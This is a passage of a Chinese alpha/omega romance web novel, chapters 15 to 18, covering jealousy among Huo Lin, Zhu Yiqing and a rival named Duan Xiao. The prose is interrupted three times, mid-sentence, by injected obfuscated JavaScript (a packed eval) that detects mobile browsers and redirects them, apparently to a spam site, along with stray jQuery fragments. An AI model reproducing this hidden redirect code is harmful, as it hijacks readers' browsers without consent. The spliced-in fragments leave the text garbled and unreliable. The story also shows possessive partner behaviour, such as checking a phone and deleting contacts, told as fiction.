“为什么没关系?”霍粼咬着牙问,“你就不怕我真的跟别人发生一点什么吗?你不是很喜欢我吗?你现在是什么意思?” alpha的声音越来越大,到最后几乎成了质问。他自己都不知道自己在气什么,只是祝贻清的回答让他莫名心神不宁。 “我当然喜欢你呀。”祝贻清眨眨水润的眼睛,表情真挚,“所以我相信你。” “………………” 霍粼很难不愧疚。 他愧疚死了,他怎么能对祝贻清那么凶,一回想起来简直肠子都快悔青了。 霍粼知错就改,小声道歉:“对不起……” 祝贻清笑着“嗯”了一声,霍粼感觉窗外的花骨朵都要被他笑得开花了。 准确来说,omega比窗外的花惹眼多了。 霍粼不敢抬头看祝贻清了,但嘴上还在垂死挣扎:“其实我也没有特别不想你跟我去,我……” “我知道了。”祝贻清接过他的话头,“你想我陪你可以直说,我说过我会一直陪你的。”他算了下时间,“我把下周六的时间空出来可以吗?我想办法安排一下工作,到时候陪你一起去。” 事情果真是峰回路转。 霍粼听见祝贻清说要陪他去,眼神立刻亮了起来。 他独自回到房间,越发熟练地从床头柜拿出笔记本。 [祝贻清陪我过易感期,+5] [给我弹琴,+5] [说喜欢我,+10] 他看着最后一行字,红着脸算出了总分。 加上之前的30分,祝贻清现在已经有50分了。 对了,说到祝贻清…… 霍粼捂着脸,感觉自己整张脸都在发红发烫。 祝贻清怎么能这么好啊? 他仔细一想,祝贻清大概有两点好,分别是这里也好和那里也好。 反正就是特别特别特别特别特别特别特别特别特别特别特别特别特别特别特别特别特别特别特别特别好。 15. 我爱清清 周六。 两人按计划去了马场。 霍粼的马术高超,常人难以驯服的马匹面对他却绝对服从。 祝贻清被霍粼圈在怀里,骏马驰骋,他的后背不可避免地和霍粼的胸膛产生摩擦,触感无比清晰。 不止如此,他还能感受到霍粼的某个地方一直顶着他的尾椎,随着马匹的每一次颠簸,就会毫不留情地蹭他一下。 祝贻清被蹭得腰身发麻,他咬着牙说:“停下。” 霍粼不明所以,但还是控制着马匹逐渐慢了下来:“你害怕了?” “…………”祝贻清偏过头,一点面子都没给他留,直白地问,“你蹭得爽吗?” 一滴汗珠从他的额头流下,竟然透出几分难以言喻的性感。 霍粼无意识地咽了下口水。 他一开始还没明白祝贻清的意思,直到马匹彻底停下,他的知觉终于不再被颠簸感掩盖,他才发现自己肆无忌惮地蹭了祝贻清很久,而且一副不知悔改的模样。 “对不起,我……” “我好热。”祝贻清打断他,“我想进屋吹空调了。” “那我陪你进去吧。” “不用。”祝贻清翻身下马,顺便阻止了霍粼想要下马的动作,“你不用管我,我去你的茶室里等你。” 他说完,头也不回地朝不远处的场馆内走去。 霍粼自己一个人骑了两圈,越骑越没劲。 他的眼神频繁地看向场馆,可什么都看不到。 他内心焦灼,一点继续下去的欲望都没有了。 他想去找祝贻清。 这么想也就这么做了,霍粼离开马场,径直进入场馆,朝着茶室的方向走去。 去往茶室的路上,霍粼的脚步越来越快。 他一想到祝贻清就在一个固定的地点等着自己,心情都变好了不少。 忽地,他隐约听见有人提起了祝贻清的名字。 也许是他听错了,但他还是想求证一下,于是凑近了最近的那间屋子,打算偷听屋内的对话。 凑巧门没关紧,留了一条细缝。 霍粼透过这条门缝,仔细打量了一圈屋内的人。 屋内并不全是陌生人,他认识其中那个染了一头红毛的alpha,那是魏祈南的表哥,段枭。 “这样吧,我们面对面建群。”段枭的声音从门缝里飘出来,“密码5277,快点加群。” “我能不能拉几个朋友进来啊?”另一道声音响起,“他们之前偶遇祝贻清,偷偷拍过他的照片,可以让他们分享出来给大家看看。” “那还不赶紧拉人进来!” 再次听见祝贻清的名字,霍粼内心一颤,立刻切了微信小号,浑水摸鱼地混入了他们面对面建的群聊。 由于他们还拉了好几个朋友进群,一时间加群的人不少,以至于没人发现群里多出来了一个人。 群里的人全都非常活跃。 [你们谁设的密码啊?5277,我爱清清,这谐音也太明显了!] [段枭设的] 段枭的头像冒出来,大大方方地承认了。 [是我设的,怎么了?] [之前拍到过清清的人快点把照片发出来,急急急急急急] [都记住照片都不许大规模传播啊,自己偷偷欣赏一下就行了] 群里陆陆续续冒出许多照片。 [祝贻清侧脸.jpg] [俯瞰视角.jpg] [正脸1.jpg] [正脸2.jpg] [背影.jpg] 霍粼一一点开。 霍粼全部存图。 群里的消息停滞了几秒,然后大片大片地刷了起来。 [卧槽美神降临!] [清清,我刚刚不小心被密蜂垫了,整条手臂都变紫了。查了一下到底是什么蜂毒性那么强,才发现原来是看见你的美貌甘拜下蜂。] [话说回来,有没有人注意到那张正脸照?他鼻梁上怎么有一颗痣啊?我真受不了了] [每一颗痣都是在告诉你吻这里] [救命好肉麻,求你少上点网] [zyq穿短裤真的是。。。这腿我都不敢看了。。。。。] [不敢看?实则不然,眼睛都粘上面了吧!] [清清你的照片我看了,我每天坚持呼吸就为了看你照片,你长得惊为天人,说话也很有趣,嘴唇看着粉粉的,应该很好亲,要是能和我结婚的话……] [要是他能对我笑一下的话……] [要是他能让我舔一口的话……] [??你们有点像冷宫里疯了的妃子] [其实zyq本人的脸比照片看起来更极品] [要不然你们以为段枭为什么一直不谈恋爱?他就等着zyq和hl分手呢] 群里画风突变,开始聊祝贻清和霍粼的关系。 [啊?分手?咋分?他俩不是有联姻协议吗?] [联姻协议还没执行之前,只要双方都同意就可以取消,只是不知道霍家愿不愿意放人] [应该愿意吧,霍粼不是说不喜欢77吗?] [但是77喜欢hl啊!我真的想不通,hl到底哪里好了???感觉还不如我会舔。。。] [这些重要吗?hl不喜欢77难道不好吗?只要hl不乐意,他俩迟早要分] [对啊,所以他俩取消协议的概率很大啊,这都拖了三年了,拖到最后大概率是不了了之了,爽] [我靠,那我幻想一下吧,万一祝贻清跟hl分了之后看上我了,我做梦都笑醒了] 段枭在群里愤愤不平地发言。 [清清乖巧可爱漂亮温柔善良,旁边的hl也是个人] [不喜欢清清真是有够没品的] [不过还好他不喜欢清清,早点分了吧,他放过清清也算做了件好事] 有人问:[段枭,等他们一分手你马上就去追祝贻清,这样会不会太不人道了?] 段枭的道理一套一套的:[你懂什么?老婆的花语是手慢无!我巴不得现在直接去追祝贻清,大不了就当小三] [也不是不行啊,反正不被爱的才是小三] [不被爱的才是小三] [不被爱的才是小三] [不被爱的才是小三] 群里开始刷屏,霍粼从头看到尾,气得头顶冒烟。 他没忍住:[他们不会分。] 这五个字非常突兀,所有人都注意到了。 段枭:[?] [不是哥们儿,你谁啊?] 霍粼继续发言:[反正他只喜欢霍粼。] 几秒后,他听见屋内的人在狂笑。 [不是,你疯了吧,你知道自己在说什么吗?花生配酒越喝越有啊] [我不行了,难道这群里还有祝贻清和霍粼的CP粉吗?] [学长的毕业论文这么短?] [能毕业就是好论文] 霍粼被踢出了群聊。 “真扫兴……”屋内的段枭嘟囔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896610|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身,“行了,我有点事出去一趟。你们先玩。” 门外的霍粼听见动静,迅速离开了包厢门口。 他实在气不过,直接把群聊分享给了助理,留言:[把这个群封了。] - 祝贻清在茶室里等了很久都没等到霍粼。 好在茶室里有空调,待着也还算舒适,他并不介意多待一会儿。 就在他百无聊赖地给自己倒上第三杯茶水时,茶室的门被敲响了。 会敲门,说明来人不是霍粼。 祝贻清隔着门问:“您好,哪位?” 门外的人听见应答的音色,迅速意识到里面的人并不是霍粼。他试探道:“我是来找霍总的,请问你知道霍总在哪吗?” 祝贻清走过去打开门,门外的人顶着一头红毛,外表张扬。 两相对视,是对方先愣住了。 “霍粼不在。”祝贻清率先开口,“请问怎么称呼您?等他回来了我会让他联系您。” “清……祝贻清?!”来人浑身震颤,两眼放光,厚着脸皮飞速挤进茶室,“那什么,我叫段枭,段落的段,枭雄的枭。既然霍总不在,那我在这儿等他可以吗?这里面凉快,外面热。” 段枭已经不知道自己在说什么了,叽里咕噜讲了一堆废话,比树枝上的麻雀还要吵。 祝贻清疑惑地问:“你认识我?” “我……”段枭舔了舔嘴唇,“之前在宴会上见过你一次,我记忆力好,就记住你了。” 祝贻清没怀疑,了然地点点头。 段枭接受不了冷场,心里急得要命,没话找话:“……那个,你跟霍粼的协议,还生效吗?” 他意外得了个跟祝贻清单独相处的机会,恨不得一秒钟就把祝贻清对自己的好感度刷到满分。 段枭强忍住心头的欲念,喉结不禁滚动了一下。 祝贻清这张脸太平静了,不该是这样的。 他想看这张波澜不惊的脸上露出难耐的表情,想看祝贻清冷淡的脸上沾满泪水,还想看祝贻清欲罢不能地咬着殷红的下唇…… “这个不是我能决定的,我也说不好。”祝贻清总觉得来者不善,也就多留了个心眼,把话说得模棱两可,“你问这个干什么?” “没什么,没什么……我就随便问问。”段枭摸了摸脑袋,感觉额头比之前烫了不少,“我只是想告诉你,其实我对你……” “——砰!!!” 茶室的门被人一脚踹开了,发出巨大的撞击声,连门框都在剧烈抖动。 动静太大,段枭和祝贻清齐齐看向门口。 霍粼不知什么时候回来了,他站在门口,面若寒潭,眸中浮出一片阴影:“段枭,滚出去。” 短短五个字,段枭立即连滚带爬地离开了茶室。 他有一种预感,如果不赶紧离开的话,霍粼绝对会像个疯子一样折磨死他。 赶走了段枭,茶室里只剩下两人。 祝贻清问:“你怎么了?” 霍粼无言地拽着他的手腕离开了茶室,回到车上。 坐进车内,祝贻清发现alpha的胸膛还在剧烈地起伏。 霍粼酸得要命。 现在他一看见祝贻清,就不可抑制地想起了群聊里的聊天内容。 那群人对祝贻清的心思简直是司马昭之心,人尽皆知,尤其是那个红毛。 “你跟他很熟吗?”霍粼火冒三丈地问,眼神几乎要把祝贻清灼出一个洞,“他是alpha,你是omega!他的心思你完全看不出来吗?” 16. 借题发挥 祝贻清想解释:“我……” “还有,他问你协议的事情,你居然说你不清楚?”霍粼咄咄逼人,“你就不能说你已经结婚了吗?你能不能离那些乱七八糟的人远一点!” “尤其是刚才那个红毛!”霍粼非常记仇,“一头枯草,一看就身体不健康,不是什么好东西!你以后不许搭理他!” “……我们结婚了吗?”祝贻清依旧是那副波澜不惊的模样,完全没有被霍粼的情绪影响,“什么时候结的?我怎么不知道?” “我们之间有协议。” 祝贻清理智地回答:“协议只是协议。” 霍粼气笑了。 车辆行驶到十字路口,稳当地停下来等红灯。 都市霓虹五光十色,透过车窗落在祝贻清脸颊上,映出光晕,像高不可攀的神明。 霍粼憋了一路,在脑海中复盘自己和祝贻清的对话,越想越委屈,他不甘心地问:“所以你的意思是,我们之间什么都不算?一点关系都没有?” 如果是这样的话,那祝贻清陪他过的易感期算什么?给他送的十三朵白玫瑰算什么?说过的那些动人的情话又算什么? 算他自作多情吗! 在霍粼的视角里,祝贻清如同施舍般地给了他一个眼神,薄唇轻启:“你要这么想,我也没办法。” 霍粼又不说话了。 言语间,红灯变绿。他驶过这个十字路口,靠边停了车,冷硬地命令身边的omega:“滚下去。” 祝贻清一言不发地下了车,动作干净流畅,全程不到十秒,行动间不带一丝留念。 霍粼惊呆了。 他以为祝贻清至少会向他求求情。 毕竟现在正值高峰期,这个地方人潮汹涌,根本打不到车。再者,这里距离最近的地铁站有4.8公里,祝贻清打不到车,就只能徒步走过去。 以祝贻清稍微运动一下就喘气的体质,路上估计不会很好过。 霍粼麻木地望着远方,他把祝贻清赶走了,他应该很痛快、很高兴才对。 可为什么他心里非但没有一丝快意,反而变得更难受了,胸口也闷得慌。 他像只迷了路的无头苍蝇,无论如何都找不到出口。 路上依然堵得厉害,霍粼朝车窗外看去,试图找到祝贻清的身影。 可街上人流量太大,祝贻清宛若一滴水落入了大海里,再也寻不见踪迹。 霍粼有点慌了。 祝贻清怎么一转眼就不见了?他去哪里了?他会不会生气了?他今天晚上会按时回家吗?他还会主动联系自己吗? 他想给祝贻清打给电话。 可赶走祝贻清的是他,现在给祝贻清打电话,不就是搬起石头砸自己的脚吗? 他才不会干出这种事情! …… 糟糕,不小心拨通了。 霍粼秒挂电话,但他没打算继续开车,只想等祝贻清回拨电话。 他一边焦虑,一边自我安慰:没关系,祝贻清对我而言又不是必需品,其实完全没必要一直黏在一起! 十分钟后。 一通电话都没接到的霍粼沉默了。 奇怪,祝贻清怎么十分钟了都不理他? …… 不是,真的不理吗? …… 破防了。 - 祝贻清被赶下车后,环顾四周,发现这个地方自己熟得要命。 只要走过前方三百米的路口,就能看见A市人民医院总院,正好是他的养母沈芮云所在的医院。 他本来还想挑个能避开霍粼时间去医院探病,现在倒好,机会自己送上门来了。 祝贻清轻车熟路地找到了医院腺体科的SVIP病房。 一门之隔,他透过门上的玻璃小窗口朝房内看去,沈芮云躺在病床上,双眼紧闭,她的后颈附近插了许多细管,看得人头皮发麻。 沈芮云曾经珠圆玉润的脸现在变得暗沉泛黄,嘴唇亦苍白干燥。 她一动不动地沉睡,仿佛下一刻就要随风飘散而去。祝贻清甚至不敢伸手去碰她,生怕摸到她日渐粗糙的皮肤。 “我来看你了。”祝贻清轻声开口,像在讲一个飘渺的梦,“我们好久都没讲过话了,你是不是都忘记我们的面包店了?不过你放心,现在面包店的生意很好,倒闭不了。” “你知道吗?我刚才被人赶下车了,结果我下车一看,刚好在医院附近,就直接过来了。”祝贻清垂着眼,忽地笑了,“省了一次打车来看你的钱,我很厉害吧?” “对了,治疗腺体的特效药也快要研制出来了,你肯定能等到的。” 祝贻清给沈芮云画饼:“等你好了,我们就去风景好的地方买个带院子的房子,偏一点也没关系。” 话虽这么说,祝贻清心里其实很明白,沈芮云大概等不到特效药的技术成熟起来了。 现在她全靠机器吊着一口气,还活着已经是不幸中的万幸。 祝贻清一口气说了很多,但没人能回应他。 好在他已经习惯了这种情况,他坐了一会儿,站起身来,轻声跟她道别:“你看,我来了你也不理我……那我走啦,改天再来看你。” “啊——!!” 病房外,一声喊叫把祝贻清吓了一大跳。 他推开门,看见不远处有个人捂着腺体,正在哀嚎。 好巧不巧,那个人正好朝他的方向投来了目光,嚎叫声瞬间止住了:“……祝、祝贻清?” 居然是段枭。 “你怎么在这里?”段枭关心道,“你的腺体不舒服吗?” 祝贻清模糊地回应道:“我没事,只是来探病。” “探病?”段枭听见祝贻清没事,舒了一口气,“那很巧了,反正都是看,你顺便看看我吧!” 他厚着脸皮往omega面前凑,“我的腺体被划到了!特别疼,你说我要不要住院啊?” “你没让医生帮你看看吗?” “医生看了呀,但是我自己看不见,你帮我看看我的腺体现在怎么样了,伤口是不是特别大啊?”段枭拼尽全力卖惨,“我都要疼晕过去了。” 听他说得那么严重,祝贻清还以为他的腺体已经血肉模糊了,只能勉强答应:“那你把手挪开吧,我帮你看看。” 段枭移开捂在腺体上的手。 祝贻清扫了一眼,毫不留情道:“是很严重,再晚来一点恐怕伤口都要愈合了。” “你别这么说……”段枭看起来很受伤,“你这么说我,我心都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896611|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉了。” 祝贻清好心提议:“那你去墙角蹲一会儿吧,墙角九十度。” 好冷的笑话。 段枭的嘴角勾起又放下,放下又勾起,莫名其妙地做了好几次仰卧起坐。 “我先走了,你要是还疼就叫医生吧。”祝贻清按下电梯下行键,不想再在段枭身边过多停留。 他敷衍的话术钻进段枭耳朵里,却被段枭解读出了另一番含义。 “你好关心我啊。”段枭脸上泛起红晕,“那个,清……祝贻清,能不能加你一个联系方式啊?我平时不会打扰你的,你要是有什么事可以随时找我。” “可以。”祝贻清熟练地从相册里翻出一张二维码截图,“你扫这个吧 ” 这是他微信小号的二维码,而他的小号每半年才会登录一次。所有不熟但想加他好友的人,都会被他分到这个号里。 这样做既满足了对方想加好友的期望,又免除了自己委婉拒绝的痛苦,全当是在收集联系人图鉴了。 段枭急匆匆地扫了,满怀期待地点开祝贻清的朋友圈,只看见了“对方已设置三天可见”的字样。 再定睛一看,祝贻清的头像下方有一行小灰字,是他的个性签名,只有五个字:不发朋友圈。 段枭碎了。 他感觉自己再也不会笑了。 “叮——!” 电梯来了。 随着电梯门逐渐打开,祝贻清的眼睛也逐渐睁大,像只受惊的小猫。 他不自主地后退了两步:“霍粼……” 霍粼为什么在这里! “不应该是我问你吗?你来医院干什么?”霍粼从电梯里走出来,高大的alpha在他面前停驻,深潭般的眼眸微微眯起,“你哪里不舒服?又低血糖了?” 他转而想起这里是腺体科,眉头蹙得更紧了:“你腺体不舒服?为什么不告诉我?检查过了吗?医生怎么说?” 祝贻清被他的一连串问题砸懵了:“我不是来看病的。” 霍粼这才注意到祝贻清身后还有个段枭,真是碍眼的要命。 他一想到自己不在的时候,这两人不知道单独相处了多久,就浑身气血上涌,气得头脑发懵。 他的心里窜起一股无名怒火,巴不得把段枭烧成一摊灰烬。 “不是你看病,难道是他?”霍粼打量段枭几眼,见他嘴唇苍白,顿时坚定了自己的猜测,“你陪他来做检查?祝贻清你疯了吗?” 段枭为了维护祝贻清,仰着头和霍粼对呛:“你别这么凶行不行!清清又没做错什么!” “没说到你,所以你上赶着找骂是吗?”霍粼眼神一凛,吓得段枭大气都不敢出,“你还好意思开口?真不知道你在这装什么好人。” 要不是他误入了段枭建立的群聊,永远都不会知道段枭的那些龌龊思想! “霍粼!我都受伤了,你怎么能这样说我?”段枭本来就嫉妒霍粼,立刻借题发挥,可怜兮兮地向祝贻清告状,“清清,你看他!他这人怎么这样啊?” 好不容易逮住一个能恶心霍粼的机会,他怎么可能放过。 “他好坏,他平时也对你这么坏吗?”段枭演着,没忍住把真心话说了出来,“我看他和你根本就不合适,你们赶紧分手吧!” 17. 气急败坏 祝贻清的眼神在两人之间流转。 他偏不开口,既不支持段枭,也不替霍粼说话。 霍粼原本以为祝贻清会和自己站在同一条战线上,帮着自己反驳段枭,他从未想过祝贻清会像个局外人一样一言不发。 “他说我配不上你。”霍粼咬牙切齿地提醒祝贻清,“他还让我跟你分手!” 这难道不是一件天大的事情吗?祝贻清怎么可能一点都不在意! 这不对劲! 段枭也看向祝贻清:“清清……” 他多希望祝贻清能帮着自己说句话,哪怕是呛一呛霍粼,让霍粼吃点苦头也好。 “谁让你这么叫他了!”霍粼听见这个称呼,恶心得鸡皮疙瘩都要起来了。 他从没有这么称呼过祝贻清,段枭倒先用上了?真是臭不要脸!水性杨花!A德败坏! 段枭冷哼一声:“关你什么事?你管那么宽干什么?家里住海边吗?” “是啊。”霍粼平静地说,“我还真有一套临海别墅,使用面积加花园面积将近六千平。怎么了,你喜欢?” 段枭:“…………” 谁问你了! 祝贻清忽地开口:“我们分不了手。” 两人顷刻噤声。 “听见没有?他就是喜欢我。”霍粼眼底闪过一丝隐秘的笑意,“你还不如我,居然好意思说我配不上他?” “因为我们只是协议联姻,还没有确认过关系。”祝贻清继续道,“没有实质性的关系,谈什么分手?” 霍粼脸色骤变:“祝贻清!” 段枭没绷住,笑得肆无忌惮,还欠欠地冲霍粼嘚瑟:“你刚才叽里呱啦的说什么呢?复制到拼多多没反应啊。” 他指指自己:“还得是我,懂不?我已经加上他好友了,他就是这么喜欢我。” 祝贻清冷声打断他的幻想:“我让你加的是小号。” 段枭的笑容僵住了:“…………” 短短十分钟,碎了两次。 笑容不会消失,只会转移。 现在笑容转移到了霍粼脸上:“听见了吗?是小号。” “不要再吵了。”祝贻清勾了勾霍粼的手指,很快又松开了手,“我们回家吧。” 霍粼还没仔细感受清楚omega葱白的指尖带来的触感,就被松开了。 他的手仿佛生出了自我意识,直直地追了上去,一把牵住了祝贻清的手。 这下安心多了。 两人走出医院,祝贻清问:“你把车停哪儿了?” 霍粼尴尬地摸了摸耳朵:“……还在你下车的地方,没开走。” “为什么没开走?” “你问那么多干什么?” “那你为什么会来医院?”祝贻清继续问,“我记得你复查的时间并不在这周。” 霍粼说:“你好吵。” 问这么详细干什么? 他编都不知道该从哪里开始编了。 他总不能实话实说,说自己一不小心下了车,又一不小心在路上走了几圈,还不一小心让人查了一下他的行踪,最后一不小心就找了过来吧! 祝贻清又不是傻子。 祝贻清忽地笑了:“你不说也没关系。” 他凝望霍粼,一双勾人的眼睛弯起,定神时如清水,闪动时如繁星。 霍粼讨厌祝贻清这样看着自己。 就好像他的所有掩饰在祝贻清面前都只是一层透明玻璃,无论怎样逃避,祝贻清总能将他看得彻底。 霍粼色厉内荏地说:“我讨厌你。” “你讨厌我?”祝贻清笑得更欢了,故意道,“那我今天还是不跟你回家了,免得你不高兴。” “你不跟我回家还能去哪里?”霍粼抓住他的手腕,omega腕骨纤细,他不敢太用力,“你总不能去段枭家吧!” “你提醒我了。”祝贻清点点头,解锁手机,“刚好我今天加了他好友。” “不许去!”霍粼的另一只手飞快地抽走了他的手机,焦虑又气愤,“他对你的心思都摆在明明上了,你还看不出来吗?你知不知道他在背后是怎么想你的?他就等着我们分开,然后趁虚而入了!” “真的假的?你怎么知道这么多?” “我……”霍粼骤然止住话头,他冷着脸,死死拽住祝贻清的手,把他往车的方向拉,“反正你信我的肯定没错。” 逗霍粼就像逗小狗,但不能玩得太狠了,免得小狗真的记仇。 祝贻清由着霍粼牵自己的手,适当地给予了他一点夸奖:“那好吧……霍粼你好聪明啊,我好喜欢你。” 他有意去观察霍粼的嘴角。 alpha果然又在暗爽了。 还不够。 祝贻清继续道:“我都这么喜欢你了,你能不能不要讨厌我了?” 霍粼嘴角勾起的弧度更大了些:“我可以考虑一下。” - 回到家后。 霍粼又想起来段枭说他加了祝贻清的好友。 “你的手机给我。”霍粼极其自然地朝祝贻清伸出手,就好像他查omega的手机是一件再正常不过的事情。 祝贻清不明所以,但还是把自己的手机递了出去:“怎么了?” 霍粼打开祝贻清的微信,现在手机上登录的是他加过的号,说明是祝贻清的微信大号。 他不满道:“切小号给我看看。” “你怎么突然要看这个?”祝贻清乖乖切了小号,“你也要加这个号吗?加了没用的,我很久才登一次。” 他小号的消息太多,切完号之后消息像雨后春笋一样纷纷冒了出来,数量多到微信都卡住了好一会儿。 霍粼原本只是想查一查段枭有没有给祝贻清发什么不好的话,结果他发现祝贻清的小号里全是跟段枭一样的垃圾货色。 他一目十行地翻阅起祝贻清的微信小号,小窗消息密密麻麻,数不胜数,但全都是未读状态。 再看好友列表,全是没有被备注的微信名称,连是谁发过来的消息都不知道。 他随手点进一个小窗,里面的消息之露骨,看得他一个alpha都头皮发麻。 霍粼一怒之下,删除了好几个人的联系方式,删完了才想起来这不是自己的账号,有点心虚地告诉祝贻清:“……我帮你删了几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896612|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 不对,他为什么要心虚? 他是祝贻清的alpha,签过联姻协议的那种,他删掉几个觊觎自己未来omega的变态,难道不是理所应当?! 他在一大堆消息中找了好半天,终于找到了段枭的头像。 点进小窗一看,段枭在半个小时之前给祝贻清连发了十几张照片大秀身材。 霍粼越看越轻蔑。 就这麻杆身材也好意思秀?看似是在秀身材,实际上是在展示自己的厚脸皮吧!恶心! “你怎么还没有把他删掉?”霍粼把手机甩回祝贻清面前,气得胸膛不断起伏,“你自己看,他都在给你发什么乱七八糟的东西!” 祝贻清懊恼道:“我忘记给他设置消息免打扰了。” 他拿起手机,看到聊天框内的照片,一张接着一张,全部都是段枭的腹肌照。 祝贻清从上到下快速划阅了一遍,沉默了:“…………” 身材不行,比不上霍粼。 霍粼没想到祝贻清这么大胆,竟然敢当着他的面看其它alpha的腹肌照。 “我说你怎么不删掉他,原来是因为想看这些照片。”他气急败坏地质问,“你怎么还在看?有那么好看吗?” 祝贻清连忙道:“没有。” “你怎么能随便加别人的微信?”霍粼重新夺走他的手机,查看他小号的好友列表人数统计。 七百八十三个。 七百八十三个! 像段枭那样的变态神经病舔狗,居然还有七百八十二个!!! 霍粼整个人顿时有点喘不上来气:“祝贻清你到底想干什么!你加这么多人,你到底把我当成什么了?” “你别误会。”祝贻清不厌其烦地解释道,“我从来不看小号的消息的,加了也是白加,我只是不想让别人缠着我要联系方法,所以才出此下策而已。我要是真的想联系谁,肯定会加大号,比如你。” 他把微信重新切成大号:“给你,你要是怀疑我的话,可以查我这个号。” “我不看。”霍粼倒也不是那种不尊重别人隐私的人,他气得脸红,回家之前被祝贻清夸出的好心情早就一点不剩了,“我要是不看你的小号,我还真不知道这些事情。别人缠着你,你就不会告诉我吗?” “我以为你不会想管这些事情。”祝贻清无奈道,“你不是不喜欢我吗?我不可能因为这种事情打扰你,而且我觉得这不是什么大事。” “对不起,如果你因为这件事不高兴了,我向你道歉,我没有考虑你的感受,以后不会了。”祝贻清去拉他的手,“如果你还不高兴的话,我可以把这个号销掉。” “不是什么大事?”霍粼敏锐地抓住关键词,反问他,“那我问你,我现在要出去玩,玩到凌晨都不回家,我还要跟别的omega有说有笑,你让不让我出去?” “……你现在要出去玩吗?”事情跨度太大,祝贻清愣了一下,“那你早点回家。” 霍粼看不惯他这副油盐不进的模样,顺势胡说八道:“我怎么可能早点回家?我不仅要玩到凌晨,我还要跟别的omega搂搂抱抱,你能把我怎么样?” 18. 小清老婆 霍粼无数次试图激怒祝贻清,次次都以失败告终。 这次也是。 “去吧。”祝贻清永远都是淡淡的、波澜不惊的样子,就好像这个世界上没有什么事情能动摇他的心绪,“你要钱吗?” 霍粼不死心,非要气他:“当然要啊,没有钱怎么点omega陪我喝酒?” “我知道了。”祝贻清平静点头,“你晚上回来注意安全。你不想让我管你,以后我就不管你了。” 十几秒后,他给霍粼的账户上转了一笔钱。 霍粼满心憋闷,但他还是紧绷着下颌,装得很冷酷:“行啊,我进屋拿个东西,很快就走了。” 快点叫住我! 现在叫住我的话,我就不走了! 但祝贻清未置一词。 霍粼心酸地回了房间。其实他说要拿东西也是骗人的,但话都说到这个份上了,他只能在房间里坐五分钟再出去。 大厅。 祝贻清坐在原位没有动,余光瞄到了霍粼遗落在桌上的手机。 他拿起霍粼的手机,用指纹解锁了屏幕。 他没有霍粼那份查微信聊天记录的闲心,心无旁骛地略过了所有社交软件,给霍粼的账户上多绑了一张银行卡。 不是别的卡,正是霍夫人给他管着的那张。 他也不是什么死皮赖脸的人,明显看出来霍粼不喜欢被管着,他也不想自讨没趣。 干脆把卡绑到alpha的手机上,这样霍粼以后再也不用问他要钱了。 五分钟后,霍粼从房间慢吞吞地走出来了。 祝贻清善解人意地对他说:“玩得开心。” 霍粼听完这话,离气死不远了。 事已至此,他宛若被架在火上烤,没有退路了,只好出门。 他很难受,查微信这招不仅没有让祝贻清意识到他们之间的问题所在,还成功把自己赶了出来。 霍粼好想解释。 他没有真的要点omega陪酒。 他没有真的想出去玩到凌晨。 他没有真的想和其他omega亲热。 他甚至都没有想好要去哪里。 他只是觉得这么说能引起祝贻清的注意,想让祝贻清多在乎自己一点、多哄着自己一点。 但现在看来,成效微乎其微。 霍粼后悔了,但他已经出来了,现在就回家的话,实在是太丢脸了。 他才放不下面子去找祝贻清求和! 霍粼站在家门外,给魏祈南打了通电话:“出来喝两杯吗?” “不行。”魏祈南拒绝了他,“我现在晚上出门要提前报备的,不然桉桉会锁门不让我回家。” “你这么听他的话干什么?”霍粼问,“他一直管着你,你不会觉得很烦吗?” “他管着我说明他喜欢我啊,那他怎么只管我不管别人呢?他要是不管我了我才要烦死了!”魏祈南听出他语气不对,“你今天怎么了?遇到什么事儿了?” “没有。”霍粼生硬地说,“你不出来算了,我挂了。” “行吧。”临近挂断,魏祈南又补了一句,“你实在难受就找嫂子去呗。” 电话挂断。 魏祈南说过的那几句话一直在霍粼脑海里打转,他的心像煮沸的水一样不得安宁。 管着他就说明喜欢他,原来是这样吗? 他刚才说了气话,说祝贻清管不着他。 祝贻清也明确地回应了,说以后再也不会管他了。 ……这是不是意味着,祝贻清以后再也不会喜欢他了? 霍粼不相信。 不相信omega会真的不喜欢他了,不相信omega会真的不管他了。 如果他今天很晚都不回去,祝贻清肯定还是会心软给他打电话,一定是这样的—— 为了验证这一点,霍粼在附近随便找了家咖啡厅坐着,等祝贻清打电话找他回家。 他要求也不高。 只要祝贻清打电话来说两句软话,他立刻就回家。 - 霍粼真的出门了。 祝贻清有点失望。 倒也不是因为霍粼口不择言而失望,霍粼那些话他已经听习惯了,早就伤害不了他了。 他失望是因为他以前觉得霍粼虽然说话不好听,但很干净,不会去乱七八糟的场所玩,不抽烟,酒也喝得不多。 现在想来,他或许还不够了解霍粼。 